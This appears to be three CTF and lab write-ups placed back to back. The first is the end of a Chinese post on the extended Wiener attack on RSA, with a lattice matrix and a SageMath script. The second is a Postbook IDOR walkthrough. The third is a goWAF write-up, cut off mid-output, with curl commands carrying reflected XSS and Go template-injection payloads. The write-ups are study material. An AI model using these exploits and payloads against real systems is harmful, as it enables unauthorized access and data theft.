0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} e_{4} e_{5} & -e_{1} e_{2} e_{3} e_{4} e_{5} & -e_{1} e_{2} e_{3} e_{4} e_{5} & -e_{1} e_{2} e_{3} e_{4} e_{5} & -e_{1} e_{2} e_{3} e_{4} e_{5} & -N e_{1} e_{2} e_{3} e_{4} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{6} & -N e_{6} & 0 & 0 & 0 & 0 & N^{2} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{3} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{4} e_{6} & N^{4} e_{6} & N^{4} e_{6} & N^{4} e_{6} & N^{4} e_{6} & -N^{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{6} & -e_{1} e_{6} & -e_{1} e_{6} & -e_{1} e_{6} & -e_{1} e_{6} & -N e_{1} e_{6} & 0 & 0 & 0 & N e_{1} e_{6} & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{6} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{1} e_{6} & -N^{2} e_{1} e_{6} & -N^{2} e_{1} e_{6} & -N^{2} e_{1} e_{6} & -N^{3} e_{1} e_{6} & -N^{3} e_{1} e_{6} & -N^{3} e_{1} e_{6} & -N^{3} e_{1} e_{6} & 0 & N^{4} e_{1} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{6} & 0 & 0 & 0 & -N e_{2} e_{6} & N e_{2} e_{6} & N e_{2} e_{6} & N e_{2} e_{6} & -N e_{2} e_{6} & 0 & 0 & 0 & 0 & 0 & N^{2} e_{2} e_{6} & 0 & 0 & -N^{2} e_{2} e_{6} & -N^{2} e_{2} e_{6} & -N^{2} e_{2} e_{6} & 0 & 0 & 0 & 0 & -N^{3} e_{2} e_{6} & -N^{3} e_{2} e_{6} & -N^{3} e_{2} e_{6} & 0 & -N^{3} e_{2} e_{6} & N^{4} e_{2} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{6} & 0 & 0 & 0 & -N e_{3} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{3} e_{6} & -N^{2} e_{3} e_{6} & -N^{2} e_{3} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{3} e_{3} e_{6} & -N^{3} e_{3} e_{6} & 0 & -N^{3} e_{3} e_{6} & -N^{3} e_{3} e_{6} & N^{4} e_{3} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{4} e_{6} & 0 & 0 & 0 & -N e_{4} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{4} e_{6} & 0 & N^{2} e_{4} e_{6} & 0 & 0 & N^{2} e_{4} e_{6} & 0 & 0 & 0 & -N^{3} e_{4} e_{6} & 0 & -N^{3} e_{4} e_{6} & -N^{3} e_{4} e_{6} & -N^{3} e_{4} e_{6} & N^{4} e_{4} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{5} e_{6} & 0 & 0 & 0 & -N e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{5} e_{6} & 0 & N^{2} e_{5} e_{6} & N^{2} e_{5} e_{6} & 0 & N^{2} e_{5} e_{6} & N^{2} e_{5} e_{6} & N^{2} e_{5} e_{6} & 0 & -N^{3} e_{5} e_{6} & -N^{3} e_{5} e_{6} & -N^{3} e_{5} e_{6} & -N^{3} e_{5} e_{6} & N^{4} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{6} & -e_{1} e_{2} e_{6} & -e_{1} e_{2} e_{6} & -e_{1} e_{2} e_{6} & 0 & 0 & 0 & e_{1} e_{2} e_{6} & e_{1} e_{2} e_{6} & e_{1} e_{2} e_{6} & -N e_{1} e_{2} e_{6} & 0 & 0 & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & 0 & N^{2} e_{1} e_{2} e_{6} & N^{2} e_{1} e_{2} e_{6} & N^{2} e_{1} e_{2} e_{6} & 0 & 0 & -N^{3} e_{1} e_{2} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{6} & 0 & 0 & -e_{1} e_{3} e_{6} & e_{1} e_{3} e_{6} & e_{1} e_{3} e_{6} & 0 & 0 & 0 & -N e_{1} e_{3} e_{6} & N e_{1} e_{3} e_{6} & N e_{1} e_{3} e_{6} & 0 & 0 & 0 & N e_{1} e_{3} e_{6} & N e_{1} e_{3} e_{6} & 0 & N e_{1} e_{3} e_{6} & N^{2} e_{1} e_{3} e_{6} & N^{2} e_{1} e_{3} e_{6} & 0 & N^{2} e_{1} e_{3} e_{6} & 0 & -N^{3} e_{1} e_{3} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} e_{6} & 0 & 0 & -e_{1} e_{4} e_{6} & 0 & -e_{1} e_{4} e_{6} & 0 & 0 & 0 & -N e_{1} e_{4} e_{6} & 0 & -N e_{1} e_{4} e_{6} & 0 & 0 & 0 & 0 & N e_{1} e_{4} e_{6} & N e_{1} e_{4} e_{6} & N^{2} e_{1} e_{4} e_{6} & 0 & N^{2} e_{1} e_{4} e_{6} & N^{2} e_{1} e_{4} e_{6} & 0 & -N^{3} e_{1} e_{4} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{5} e_{6} & 0 & 0 & -e_{1} e_{5} e_{6} & 0 & -e_{1} e_{5} e_{6} & -e_{1} e_{5} e_{6} & 0 & 0 & -N e_{1} e_{5} e_{6} & 0 & -N e_{1} e_{5} e_{6} & -N e_{1} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{5} e_{6} & N^{2} e_{1} e_{5} e_{6} & N^{2} e_{1} e_{5} e_{6} & 0 & -N^{3} e_{1} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{6} & -e_{2} e_{3} e_{6} & -e_{2} e_{3} e_{6} & -e_{2} e_{3} e_{6} & -e_{2} e_{3} e_{6} & 0 & -N e_{2} e_{3} e_{6} & N e_{2} e_{3} e_{6} & N e_{2} e_{3} e_{6} & N e_{2} e_{3} e_{6} & N e_{2} e_{3} e_{6} & 0 & 0 & 0 & 0 & 0 & N^{2} e_{2} e_{3} e_{6} & N^{2} e_{2} e_{3} e_{6} & 0 & 0 & N^{2} e_{2} e_{3} e_{6} & -N^{3} e_{2} e_{3} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{4} e_{6} & 0 & 0 & 0 & -e_{2} e_{4} e_{6} & 0 & -N e_{2} e_{4} e_{6} & 0 & 0 & 0 & N e_{2} e_{4} e_{6} & -N e_{2} e_{4} e_{6} & 0 & 0 & 0 & N^{2} e_{2} e_{4} e_{6} & 0 & N^{2} e_{2} e_{4} e_{6} & 0 & N^{2} e_{2} e_{4} e_{6} & -N^{3} e_{2} e_{4} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & -N e_{2} e_{5} e_{6} & 0 & 0 & 0 & 0 & -N e_{2} e_{5} e_{6} & -N e_{2} e_{5} e_{6} & 0 & 0 & N^{2} e_{2} e_{5} e_{6} & N^{2} e_{2} e_{5} e_{6} & 0 & N^{2} e_{2} e_{5} e_{6} & -N^{3} e_{2} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{4} e_{6} & 0 & 0 & 0 & 0 & 0 & -N e_{3} e_{4} e_{6} & 0 & 0 & -N e_{3} e_{4} e_{6} & 0 & 0 & 0 & N^{2} e_{3} e_{4} e_{6} & 0 & 0 & N^{2} e_{3} e_{4} e_{6} & N^{2} e_{3} e_{4} e_{6} & -N^{3} e_{3} e_{4} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & -N e_{3} e_{5} e_{6} & 0 & 0 & -N e_{3} e_{5} e_{6} & 0 & -N e_{3} e_{5} e_{6} & 0 & N^{2} e_{3} e_{5} e_{6} & 0 & N^{2} e_{3} e_{5} e_{6} & N^{2} e_{3} e_{5} e_{6} & -N^{3} e_{3} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{4} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & -N e_{4} e_{5} e_{6} & 0 & 0 & -N e_{4} e_{5} e_{6} & -N e_{4} e_{5} e_{6} & 0 & 0 & N^{2} e_{4} e_{5} e_{6} & N^{2} e_{4} e_{5} e_{6} & N^{2} e_{4} e_{5} e_{6} & -N^{3} e_{4} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & 0 & -e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & 0 & 0 & -N e_{1} e_{2} e_{3} e_{6} & -N e_{1} e_{2} e_{3} e_{6} & 0 & 0 & 0 & N^{2} e_{1} e_{2} e_{3} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} e_{6} & 0 & 0 & 0 & -e_{1} e_{2} e_{4} e_{6} & 0 & 0 & -e_{1} e_{2} e_{4} e_{6} & 0 & -N e_{1} e_{2} e_{4} e_{6} & 0 & -N e_{1} e_{2} e_{4} e_{6} & 0 & 0 & N^{2} e_{1} e_{2} e_{4} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{2} e_{5} e_{6} & -N e_{1} e_{2} e_{5} e_{6} & 0 & 0 & N^{2} e_{1} e_{2} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{4} e_{6} & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{4} e_{6} & -N e_{1} e_{3} e_{4} e_{6} & 0 & 0 & -N e_{1} e_{3} e_{4} e_{6} & 0 & N^{2} e_{1} e_{3} e_{4} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{3} e_{5} e_{6} & 0 & -N e_{1} e_{3} e_{5} e_{6} & 0 & N^{2} e_{1} e_{3} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{4} e_{5} e_{6} & -N e_{1} e_{4} e_{5} e_{6} & 0 & N^{2} e_{1} e_{4} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{4} e_{6} & 0 & 0 & 0 & -N e_{2} e_{3} e_{4} e_{6} & 0 & 0 & 0 & -N e_{2} e_{3} e_{4} e_{6} & N^{2} e_{2} e_{3} e_{4} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{5} e_{6} & 0 & 0 & 0 & -N e_{2} e_{3} e_{5} e_{6} & 0 & 0 & -N e_{2} e_{3} e_{5} e_{6} & N^{2} e_{2} e_{3} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{4} e_{5} e_{6} & 0 & 0 & 0 & -N e_{2} e_{4} e_{5} e_{6} & 0 & -N e_{2} e_{4} e_{5} e_{6} & N^{2} e_{2} e_{4} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{4} e_{5} e_{6} & 0 & 0 & 0 & -N e_{3} e_{4} e_{5} e_{6} & -N e_{3} e_{4} e_{5} e_{6} & N^{2} e_{3} e_{4} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{4} e_{6} & 0 & 0 & 0 & 0 & -N e_{1} e_{2} e_{3} e_{4} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{5} e_{6} & 0 & 0 & 0 & -N e_{1} e_{2} e_{3} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} e_{5} e_{6} & 0 & 0 & -N e_{1} e_{2} e_{4} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{4} e_{5} e_{6} & 0 & -N e_{1} e_{3} e_{4} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{4} e_{5} e_{6} & -N e_{2} e_{3} e_{4} e_{5} e_{6} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{4} e_{5} e_{6} \end{array}\right) $$ ## 开放探讨 * 对于现在扩展维纳的问题都是$n=2$或者是$n=3$时候的**模板题**,对于更高维的情况,可以编写自动化的脚本来完整自动选择关系、自动构造格等步骤,比如上述内容就是自动生成的。但是对于$n$每增加1,矩阵则是指数倍增加,因为这是一个$2^n * 2^n$的矩阵,这时候直接调用`sagemath`中的`LLL()`变得非常缓慢,大约$n=8$的情况已经运行不出来了,我曾尝试寻找`LLL`在CUDA上的并行算法或是一些其他优化方案实现,但是都是找到了论文没有给出源码的情况。 如果您对这方面有所研究或者有什么更好的优化方法,欢迎联系我([Xenny](https://github.com/X3NNY))一起进行更加深入的探讨。 ## EXP * 考虑到不是每个人都需要深入研究扩展维纳攻击,这里还是给出$n=2$时候的EXP以供使用 ```python e1 = ... e2 = ... N = ... a = 5/14 D = diagonal_matrix(ZZ, [N, int(N^(1/2)), int(N^(1+a)), 1]) M = matrix(ZZ, [[1, -N, 0, N^2], [0, e1, -e1, -e1*N], [0, 0, e2, -e2*N], [0, 0, 0, e1*e2]])*D L = M.LLL() t = vector(ZZ, L[0]) x = t * M^(-1) phi = int(x[1]/x[0]*e1) ``` ## References * [Extending Wiener's Attack in the Presence of Many Decrypting Exponents](https://www.sci-hub.ren/https://link.springer.com/chapter/10.1007/3-540-46701-7_14) * [并行LLL算法研究综述](https://arcnl.org/jchen/download/survey_plll.pdf) * [Factoring Polynomials with Rational Coefficients](https://www.math.leidenuniv.nl/~hwl/PUBLICATIONS/1982f/art.pdf) * [A PARALLEL JACOBI-TYPE LATTICE BASIS REDUCTION ALGORITHM](https://www.cas.mcmaster.ca/~qiao/publications/JQ14.pdf)
sec-knowleage
# Postbook - FLAG4 ## 0x00 Edit Post http://127.0.0.1/1234567890/index.php?page=edit.php&id=3 ![](./imgs/edit.jpg) ## 0x01 Edit Others Post The id seems can be change. http://127.0.0.1/1234567890/index.php?page=edit.php&id=1 ![](./imgs/edit_others.jpg) ## 0x02 FLAG Save the edit result. Get the flag. ![](./imgs/flag.jpg)
sec-knowleage
# goWAF * Category: Web * 300 Points * Solved by the JCTF Team ## Description > I got hacked last week so I added a WAF to protect my site, > > Now I'm protected! ## Solution We visit the attached website and get a login page. Scanning through the sources, we see the following comment: ```html <!-- Generated by GoDoc https://127.0.0.1/docs --> ``` Let's try to visit `/docs`: ![](images/gowaf.png) We get a documentation server with some strange functions. We've waited enough, it's time to try and login. If we enter a blacklisted character as the username or password, we get blocked by the WAF: ```console root@kali:/media/sf_CTFs/appsec/goWAF# curl 'https://gowaf.appsecil.ctf.today/login' --data-raw $'{"username":"\'","password":"123456"}' {"isSuccess": false, "redirect": "/blocked?incidentID=%23089666"} ``` Following the redirect, we arrive to the WAF notice: ```html <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>WAF 403 Forbidden</title> <style>body{font-family:sans-serif;font-size:13px;color:#000;}</style> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body bgcolor="white"> <br /><br /><br /><br /> <center>Sorry <b>10.42.131.137</b>, your request cannot be processed.<br /> For security reasons, it was blocked and logged.<br /><br /> <!-- Unimportant Base64 encoded image, stripped for clarity --> <br /><br /> If you believe this was an error please contact the<br /> webmaster and enclose the following incident ID:<br /><br />[ <b>#089666</b> ] </center> </body> </html> ``` The first thing that we notice is that the `incidentID` parameter is included as-is in the webpage, allowing an easy XSS attack: ```console root@kali:/media/sf_CTFs/appsec/goWAF# curl -s "https://gowaf.appsecil.ctf.today/blocked?incidentID=<script>alert(1)</script>" | grep alert webmaster and enclose the following incident ID:<br /><br />[ <b><script>alert(1)</script></b> ] ``` However, we don't have anyone to send this URL to. The clue comes from the `/docs` page: Notice how the title of the page is `{{goWAF}}`. In Golang, this syntax is used for [templates](https://golang.org/pkg/text/template/). This means that we can send something like `{{action}}` and the action will be executed on the server-side, and returned to us as output. For example: ```console root@kali:/media/sf_CTFs/appsec/goWAF# curl -s 'https://gowaf.appsecil.ctf.today/blocked' -G --data-urlencode 'incidentID={{print "Test"}}' | grep Test webmaster and enclose the following incident ID:<br /><br />[ <b>Test</b> ] ``` We can call other functions, such as the ones we met in the `/docs` page: ```console root@kali:/media/sf_CTFs/appsec/goWAF# curl -s 'https://gowaf.appsecil.ctf.today/blocked' -G --data-urlencode 'incidentID={{ReadFileEncrypted "flag"}}' | grep "incident" webmaster and enclose the following incident ID:<br /><br />[ <b>AAAAAAAAAAAAAA5dCV8kZB9WND5VCUZOMwMN</b> ] ``` We got the encrypted flag! Let's try to decrypt it: ```console root@kali:/media/sf_CTFs/appsec/goWAF# curl -s 'https://gowaf.appsecil.ctf.today/blocked' -G --data-urlencode 'incidentID={{Decrypt (ReadFileEncrypted "flag")}}' | grep "incident" webmaster and enclose the following incident ID:<br /><br />[ <b>Only admins can use the decryption function</b> ] ``` No luck. Can we encrypt? ```console root@kali:/media/sf_CTFs/appsec/goWAF# curl -s 'https://gowaf.appsecil.ctf.today/blocked' -G --data-urlencode 'incidentID={{Encrypt "Test"}}' | grep "incident" webmaster and enclose the following incident ID:<br /><br />[ <b>FRUDJw==</b> ] ``` So this is (probably) somehow encoded in some base. We'll start by assuming that this is base64, and reconsider if needed. Now, let's try to encrypt our way to the expected output. For the first character, we'll try to encrypt every possible printable ASCII letter until we arrive to a result which if decoded as base64, is equal to the base64-decoded first character of the encrypted flag file we got. Our first character after decoding as base64 is `0`: ```console root@kali:/media/sf_CTFs/appsec/goWAF# echo AAAAAAAAAAAAAA5dCV8kZB9WND5VCUZOMwMN | base64 -d | xxd -g 1 00000000: 00 00 00 00 00 00 00 00 00 00 0e 5d 